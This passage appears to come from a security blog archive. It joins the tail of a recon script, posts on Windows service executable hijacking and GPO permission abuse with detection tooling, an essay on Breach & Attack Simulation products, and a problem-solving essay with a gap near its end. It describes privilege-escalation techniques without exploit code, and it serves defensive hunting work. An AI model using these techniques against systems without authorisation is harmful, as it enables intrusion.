    # Step 3: Write normalized JSON output
    report = {
        "domain":     domain,
        "timestamp":  timestamp,
        "subdomains": subdomains,
        "scan_results": results
    }

    report_path = output_dir / "report.json"
    report_path.write_text(json.dumps(report, indent=2))
    print(f"\n[+] Report written to {report_path}")


if __name__ == "__main__":
    main()

Running It

python recon.py example.com

Output lands in output/example.com_20240115_143022/report.json — a structured JSON file you can query with jq, import into a database, or feed into the next stage of your pipeline.

What’s Next

This is the skeleton. The real value comes from plugging in more tools: DNS brute-forcing with dnsx, HTTP probing with httpx, screenshot capture with gowitness. Each module follows the same pattern — run a binary, parse its output, add to the report dict.

The script isn’t glamorous. Neither is recon. But having a consistent, repeatable process beats improvising every time.

In a recent Red Team engagement my organization had, the penetration testers managed to laterally move to a Windows endpoint; since they didn’t have admin privileges on it, they were looking for ways to escalate their privileges. Luckily (for them), they found a service with insecure permissions that ran under the context of NT Authority\SYSTEM – and exploited it, gaining that level of privilege on that host.
When I read the PT report, I was annoyed; was it pure luck they got to a host that was vulnerable to this misconfiguration, or was it a game of probabilities (well, that’s true in many cases, I guess)? And if so – what is the percentage of hosts which are also vulnerable to this type of hijacking? 5%? 50%?

In this blog post, we will explore Windows Service Executable Hijacking from both a Red Team (adversarial) and a Blue Team (defender) perspective. We’ll discuss how Red Team operators exploit this attack and provide practical advice for Blue Teams on how to detect and mitigate this threat.

Understanding Windows Service Executable Hijacking

Let’s start with the Red Team perspective, and understand the attack technique: Windows services are background processes managed by the Service Control Manager (SCM), making them attractive targets for exploitation. Each service points to an executable file on disk, which holds the code and logic of what the service actually does.
Let’s look at the following example:
Running the command “Services.msc” opens up the “Services” view, where one of the listed services is Sysmon. Sysmon is running as “Local System” (meaning high-level privileges). Right-clicking on it and choosing “Properties” displays information regarding the service, in particular – the path of the executable it’s running.
Windows service executable hijacking involves replacing the legitimate executable file of a Windows service with a malicious counterpart. This can be achieved if the folder that file is located in (or even just the file itself) has weak ACL permissions, allowing an attacker to manipulate it without arousing suspicion.
In our example – the service executable has the following security permissions – This service is not vulnerable.

Now let’s look at another example: this time, we’ve written a basic Windows service in Python (which writes random text files into c:\temp), named “SimpleService”. This service is running as “Local System” (i.e.: high-level privileges). Once the service is installed, the executable file is stored in the following path: C:\Python39\lib\site-packages\win32\PythonService.exe. Viewing the security permissions on that file, we notice that “Authenticated Users” have the permission to modify the file – That means that any authenticated user in the domain can replace the file with a malicious one with the same name. By automating the above, Red-Teamers can search for vulnerable services.
Note that while the service is running, the Service Control Manager (SCM) locks the service executable file, making it difficult to manipulate. However, skilled attackers may attempt to replace the executable by exploiting specific conditions or using more advanced techniques.

Hunting for Insecure Service Executable Permissions

Now let’s put our Blue-Team hat on, and approach this as defenders. Commercial Vulnerability Assessment products have the ability to scan and identify insecure service executable permissions; for instance, Tenable.sc has one such a plugin.

As a side note, I should mention, that even if you manually change the ACLs on the vulnerable service executable file (such as by disabling inheritance permissions and assigning ACE permissions directly), but do not change the ACLs stemming from its folder (or some parent folder above it) – the plugin will still fire and warn you about having an insecure windows service

But not all organizations necessarily have the budget or the means to implement such a solution. How can open source tools help us hunt these misconfigurations?

Powershell

Amongst my tools, I have written a Powershell script (named Find-Service-Insecure-ACL-Permissions.ps1) which can receives a list of hosts (either from a csv file or by querying Active Directory), and for each host (and in parallel, using Powershell Runspaces) – enumerates the list of services it has; for each service, it checks the ACL on the service executable to see who has the ability to modify it (that is not “NT AUTHORITY\SYSTEM”, “BUILTIN\Administrators” or “NT SERVICE\TrustedInstaller”), and collects all relevant data on the service, the executable and its ACL. Finally, the data is displayed to the user in a Powershell OutGrid-View, and is also exported to a csv file for further analysis.

Velociraptor

I have written a Velociraptor Artifact which, for the most part, does the same thing the Powershell script does; one can use it for a wide-scale hunt, if Velociraptor is installed on hosts in the organization.

Conclusion

The battle between Red and Blue Teams is an ongoing one; in my case, it turned out that 4% of endpoints could be exploited using the above technique. Getting informed about attack techniques is essential for both sides. By acquiring visibility into “vulnerable dark areas”, Blue Teams can assess, mitigate and event prevent future dark areas from being created. Notice I used the word “acquire”, rather than “purchase” – because many times, open-source tooling is enough to get a bang for our (free) buck.

Group Policy Objects (or GPOs) are a valuable and necessary pillar of any Windows-based organization. They enforce various rules and definitions on hosts, and allow sysadmins to govern the Active Directory domain, on all its users, endpoints and servers.
In the ever-evolving landscape of cybersecurity, GPOs have not gone unnoticed. One notable technique in penetration testing involves the abuse of GPOs by exploiting overly permissive permissions pertaining to them.
This blog post discusses the issue, and introduces a tool designed to assist both Red and Blue Teams in identifying such misconfigurations within GPOs.

The Exploitative Potential of GPOs

GPOs serve as a vital component of Windows environments, enabling centralized management of security and other settings across a network. Unfortunately, their potency can also be harnessed for malicious purposes. Red Teamers have been leveraging GPOs with excessively broad permissions for a long time now, altering them to achieve their goals, such as by inserting malicious commands or scripts, which can then be executed on various endpoints within the targeted organization. This manipulation can yield a range of threats, including remote code execution, privilege escalation, persistence and more.

The source of the problem lies with the permissions set on the manipulation of a Group Policy Object by a user (also called a “Trustee” by Microsoft in this context); while any user\trustee in the domain should (in most cases) have a read permission for a GPO, only a specific set of users or AD groups should have permissions to alter said GPO – mainly the Domain Controller’s “SYSTEM” account and users in the “Domain Admins” and “Enterprise Admins” AD groups. I refer to those as “default trustees”.

One such tool to assist Red Teamers with this kind of GPO exploitation is FSecure LABS’ SharpGPOAbuse. Given a vulnerable GPO which holds permissions so that it can be changed by a non-default trustee (i.e.: a user who’s not an Enterprise or Domain Admin), and given the Red Team can impersonate that trustee – they now have the power to alter the GPO, and thus control in some fashion all the hosts which are enforced by that GPO.

Finding Vulnerable GPOs

To counteract this potential for abuse, I have developed a Powershell script I’ve simply named: Find-GPO-Non-Default-Trustees. Whether you’re a Red Teamer simulating attacks or a member of the Blue Team fortifying defenses – this tool is for you!
What does it do?
The script performs an enumeration of all GPOs within a designated AD Domain. For each GPO, it checks for non-default trustees (users or AD groups) with the capability to modify or delete the respective GPOs. The following permissions are checked: “GpoEditDeleteModifySecurity”, “GpoEditDeleteModify”, “GpoEdit”, “GpoDelete”, “GpoCreate”, “GpoModifySecurity”. This list provides essential insights, outlining the GPO name alongside the associated user or AD group, as well as their corresponding permissions. It is also worth noting that the tool can be run even by a low-privileged user!

Conclusion

As the cybersecurity landscape continues to evolve, it is imperative to stay ahead of potential threats. The misuse of GPOs for unauthorized access and compromise represents a genuine concern.
By shedding light on non-default trustee abuses, this tool equips Blue Teams with the means to strengthen their organization’s defense mechanisms, while also enabling Red Teams to find such misconfigurations and exploit them responsibly.

One of the most popular (and “sexy”) fields in cyber-security is the field of penetration testing (or “pen-testing” \ “PT” for short); it is also a crucial component of any organization’s cybersecurity strategy. In simple terms, pen-testing involves simulating an attack on a system or network, in order to identify potential vulnerabilities, misconfigurations and other weaknesses. By doing so, organizations can identify (in a safe manner) areas of their security infrastructure that need improvement – before an actual attacker exploits them.
As new technologies emerge, so do new terms come into existence. The notion that much of the work a human pen-tester does could be automated by a machine has created a new line of products, which Gartner has coined the term for as B.A.S., or “Breach & Attack Simulation” systems.
These systems simulate attackers in various stages, and can perform operations such as initial access, privilege escalation and lateral movement, exfiltration and so forth, thus exposing gaps in the organizational security posture.

Attacking The Network and The Zombie Apocalypse

I categorize a BAS product’s purpose into two main categories:

1. Attacker in The Network
In this category, we define a scenario of an attacker residing inside the network. We choose a source the attacker has compromised (such as a host, or a certain user’s credentials), and we choose a destination they must reach. We then let the product strategize and seek out an attack path to fulfill its goal.
For example:

Our starting point is that the attacker has compromised HostA. They manage to retrieve the credentials for the local administrator account. With those credentials, they move laterally and compromise HostB. They proceed to extract from that host cached credentials of Victim1 for the web server, thus allowing for further lateral movement in the network.

The “Attacker in The Network” scenario is one where we assume there could be some attack path between the chosen starting point (the initial compromised host), and the destination goal (the web server). So we define a starting point and an ending point – and let the product show us how an attacker would have compromised the web server.

We are not surprised that this was feasible, and now it’s up to us as the security-team to find a solution to prevent this attack path from happening again (for example: breaking the attack chain from hostA to hostB by implementing LAPS).

2. The Zombie Apocalypse
Zombie apocalypse movies are filled with imagery of thousands of zombies storming gates and blockade walls, rushing to get to the other side.

Credit: The movie “World War Z”

In this category, there are two networks that should never ever (ever!) have an attack path between them; for example: a DMZ network and an internal administrative network, or a critical network (where all organizational finance systems are located).

Internal and external networks in an organization

In this type of scenario, every single host and user in the DMZ network could be defined as being compromised (i.e.: a starting point); proverbial zombies trying to barge into the internal network, as it were.
Reaching any host within an internal network from the DMZ should never happen – so if the BAS product does manage to find an attack path – I’d like to get an immediate alert on the matter (via email, SMS, alert in the SIEM, etc.).

The Terminator Effect

We are all too familiar with the usage of the APT acronym (=Advanced Persistent Threat) in cyber-security, aren’t we?
While there are different kinds of products under the BAS category, each with its own nuances and emphasis, they all market themselves as emulating an APT. Though some may beg to differ the meaning of “Advanced” in this context, they do share the “Persistent” and “Threat” pillars of an APT; by that I mean that these products simulate a threat (exploit known vulnerabilities and misconfigurations, extract credentials from memory, and so on), and they are persistent.
I refer to the persistence aspect as “The Terminator Effect”; to paraphrase a quote from the movie “The Terminator”:

“The attacker doesn’t feel any sympathy or regret and they’re not afraid. they’re a monster and they will not stop until they breach you”.

Why is this so important?
A security consultancy firm may be requested to perform a PT on a client’s network, and a human pen-tester would be commissioned to work for two days, or a week, or two weeks at a client’s site, trying their best to achieve some predefined goal. Either they succeed or they don’t, either they find certain flaws or they don’t. But that is just a snapshot in time; after the PT is over, the pen-tester leaves, and the next day something could change for the worse.
But a BAS system is ever-present. It is always on the lookout, always awake and seeking attack paths to reach its goal. For example: if 6 months from now – someone accidentally changes a rule in the firewall to “Any – Any – Allow”, and with that – connects two disparate networks to each other, a BAS system would quickly learn of that and utilize it for further lateral movement.
I therefore like to think of a BAS product as a Terminator, but the one in the movie Terminator II; i.e.: he’s on our side. One of the good guys. ;)

Don’t Tell Me I Have Problems

A typical PT by many cyber-security consulting firms ends with a report, which states the course of actions taken by the pen-tester, the attack paths they have tried (with the corresponding technical details), and what they have accomplished; each finding is rated with a severity, and usually – a “best-practices” textbook mitigation for the problem, which in many cases is banal or not suited for the organization. As my boss likes to say: “Don’t tell me I have problems – I know that myself. What I need are reality-based effective solutions”.

A classic example of a “best practice” textbook advice appearing in a PT report is: “Reduce the number of Domain Admin accounts”. While it is advised to revise the need for each DA account from time to time – a security-aware organization may need all of its DA accounts it currently has, and cannot reduce their numbers.
A more reality-based mitigation for that organization would be to add those DA accounts to the “Protected Users” active directory group, thus forcing them to authenticate only using Kerberos (and not NTLM, or other even less secure protocols).
This demand for solutions (and not just shining light at problems) should be requested not only from human pen-testers, but also from AI-based ones. A good BAS product should not just write reports of attack paths, but also advise on solutions or mitigations for the problems found.

Who should buy a BAS system?

This has to do with organizational maturity. There’s no need to buy an expensive BAS solution when other (perhaps more affordable) solutions can find low hanging fruit. While some BAS solutions can also find certain vulnerabilities due to unpatched systems – it may be better and more cost-effective to use a dedicated product for vulnerability scanning.
Same goes for certain legacy protocols and misconfigurations, such as the LLMNR and WPAD protocols, or Active Directory overly permissive ACLs. A BAS solution might find those and exploit them as part of an attack path – but good ol’ Windows hardening best-practices or a commercial product which specifies in seeking and alerting on such Active Directory “dark corners” might give us more bang for the buck.

PT Is Dead, Long Live the BAS?

We are living at the frontier of the AI age, so what I am stating here might seem irrelevant (if not outright wrong) in the not-too-distant future, but ever since BAS products have become a thing – company CEOs (and the tech media outlets) have been wondering: is the human Pen-Tester a thing of that past? To be replaced by BAS systems?

The short answer, in my honest opinion is: no!

Manual pen-testing involves using a team of cybersecurity experts to manually examine systems and infrastructure for vulnerabilities, misconfigurations and logic flaws. This process can be time-consuming and expensive, but it provides a level of customization and realism that automated tools cannot match. Automated pen-testing, on the other hand, involves using software tools (AI and Machine Learning or not) to “scan” systems and infrastructure for the aforementioned problems, merely emulating a human attacker. This method is faster and more cost-effective than manual testing, but misses certain attack paths that an experienced human pen-tester would catch.
Are these two approaches mutually exclusive? – not at all. They can benefit from each other! A mature organization can use basic automated tools to find the low hanging fruit (unpatched systems, known misconfigurations), and challenge a BAS product to find more complex attack paths, in order to shine light on certain “dark corners” of the organization. Then, every designated time period, or when the need arises (such as a new system is scheduled to run in production) – the org can also request a manual PT, giving the human pen-tester a challenge to find high hanging fruit for a change.
They will even thank you for it!

1. Undefined or Ambiguous Terminology

One of the most basic misunderstandings in interpersonal communication occurs when using terms which mean different things to different people. I had a lecturer in college (in a course about logic, nonetheless!), who kept referring to the subject of his sentences as “this”, while writing proofs on the board; by the fourth “this” into the proof – 75% of the classroom misinterpreted what the “this” written on the board was referring to.
I cannot count the number of meetings I’ve participated in, where uses-cases were discussed using wrong or ambiguous terminology, while trying to express the need or explain the problem at hand. A term which was brought up at the beginning of the meeting changed its definition over time, or the same term was used to define different things. This creates what I refer to as the “Tower of Babylon” effect, where people are communicating with each other, but misunderstanding one another, sometimes without even realizing it.

As one of my math teachers in college once put it:

“One must always start with the definition of terms. If you decide to skip that phase and merely go with the flow – then I don’t know where you’re gonna end up, but I shall waive to you Bon Voyage on your ill-advised sailings”

For example: if you’re talking about a network architecture, using generic terms such as “host” or “proxy” will only confuse others and let them interpret those terms as they see fit; which “host” are you referring to? The endpoint or the server? What do you mean by “proxy”? The perimeter proxy at the organization’s gateway, or a proxy server which is part of the product you’re currently discussing?

2. Laconic Explanations

Maybe it’s the fault of technology, where all messages are short (Twitter), short-lived (Vine, TikTok) and summarized (ChatGPT); maybe not. But people have a tendency to be impatient and not elaborate their ideas, even when discussing complex structures, workflows or problems. This shallows the conversation, upsets the participants and when done via email – creates a lot of ping-pong communication.
One of my favorite questions to ask is: “What’s the story?”. Treat me as if I am a new member on staff, who has no prior organizational knowledge of the problem \ the product \ the service etc., and tell me the whole story; elaborate what the system does, what have you done in the project so far and where the problem lies.
This may sound like a lot to relay, but even a few paragraphs of explanation can suffice to bring someone up to speed, before dropping the problem on their lap and expecting an optimal solution from them.

3. Misdefining the problem

Misdefining the problem is a common mistake that many people make when trying to solve a problem; a misunderstanding of the problem and what they believe is the source of the problem. This can lead to wasted time and resources, as well as ineffective solutions.
For example: Let’s say we have a service that fails to connect to a remote web server via its API. One of the developers complains to IT that “the firewall is blocking outbound traffic to the web server, so you need to define a designated firewall rule to allow it!”.
But that is not the problem; the problem is that API connections to the web server fail. While it could be the result of the firewall blocking the traffic, it could also happen due to various other reasons.
But since the developer inserted the solution into the definition of the problem, the firewall admins do as they are told, and create a new firewall rule, without even checking to see if there was any blocked traffic to begin with. The new firewall rule doesn’t get any hits, and the admins tell the developer they don’t see any traffic going out; when in fact – there is outbound traffic to the remote server, but through another (more complacent) rule. After further investigation, it turns out that the traffic was dropped by the remote server itself due to a misconfigured iptables rule on that server.
The bottom line here is: don’t include your solution in the phrasing of your problem or your needs.

4. Matching the wrong solution to the problem

I recall a meeting I was asked to participate in, which addressed the possible usages of Blockchain technology, the experiments that were already commencing using it, and the current problems and obstacles the designated IT team were facing.
I have no expert knowledge in this field, so I just sat in my chair and listened to everyone, trying to learn and absorb what I could; certain thoughts ran through my mind, but I was a bit bashful to utter them. As the meeting came to a close, my boss (the CISO; also present at that meeting) looked at me and proclaimed that it looks as if I have something to contribute to the discussion; I don’t think he threw me under the proverbial bus, as much as gave me a nudge to jump into the water. All eyes on me now, huh?

“You’ve brought up some very interesting points here”, I nodded to no one in particular in the room. “But you’ve reminded me of the old Chinese proverb, that if a frog had wings – it would still bump its ass when it hopped”. Silence filled the room; everyone looked a bit baffled. I, on the other hand, felt proud of misquoting a scene from the movie Wayne’s World, creating my own proverb spin on it. Ok, time to explain the moral of the idiom to the crowd:

To Conclude

When the problem is not fully understood or not communicated with greater detail to others, our chances to figure out a solution for it diminish, especially when working on it with others. Therefore, we must strive to:

• Define the terminology
  Make sure everyone is on the page regarding terms we’re using in the conversation (even if it seems obvious to us).
• Elaborate
  Explain all the necessary details, so your associates get a fuller understanding to the question: “What’s the story?”.
• Analyze the problem
  Investigate the actual source of the problem, and refrain from inserting your (biased) solution into the definition of the problem when explaining it.
• Double-Check the solution
  Is the solution in fact a solution, or is it causing us more problems down the road?
  

Happy problem-solving!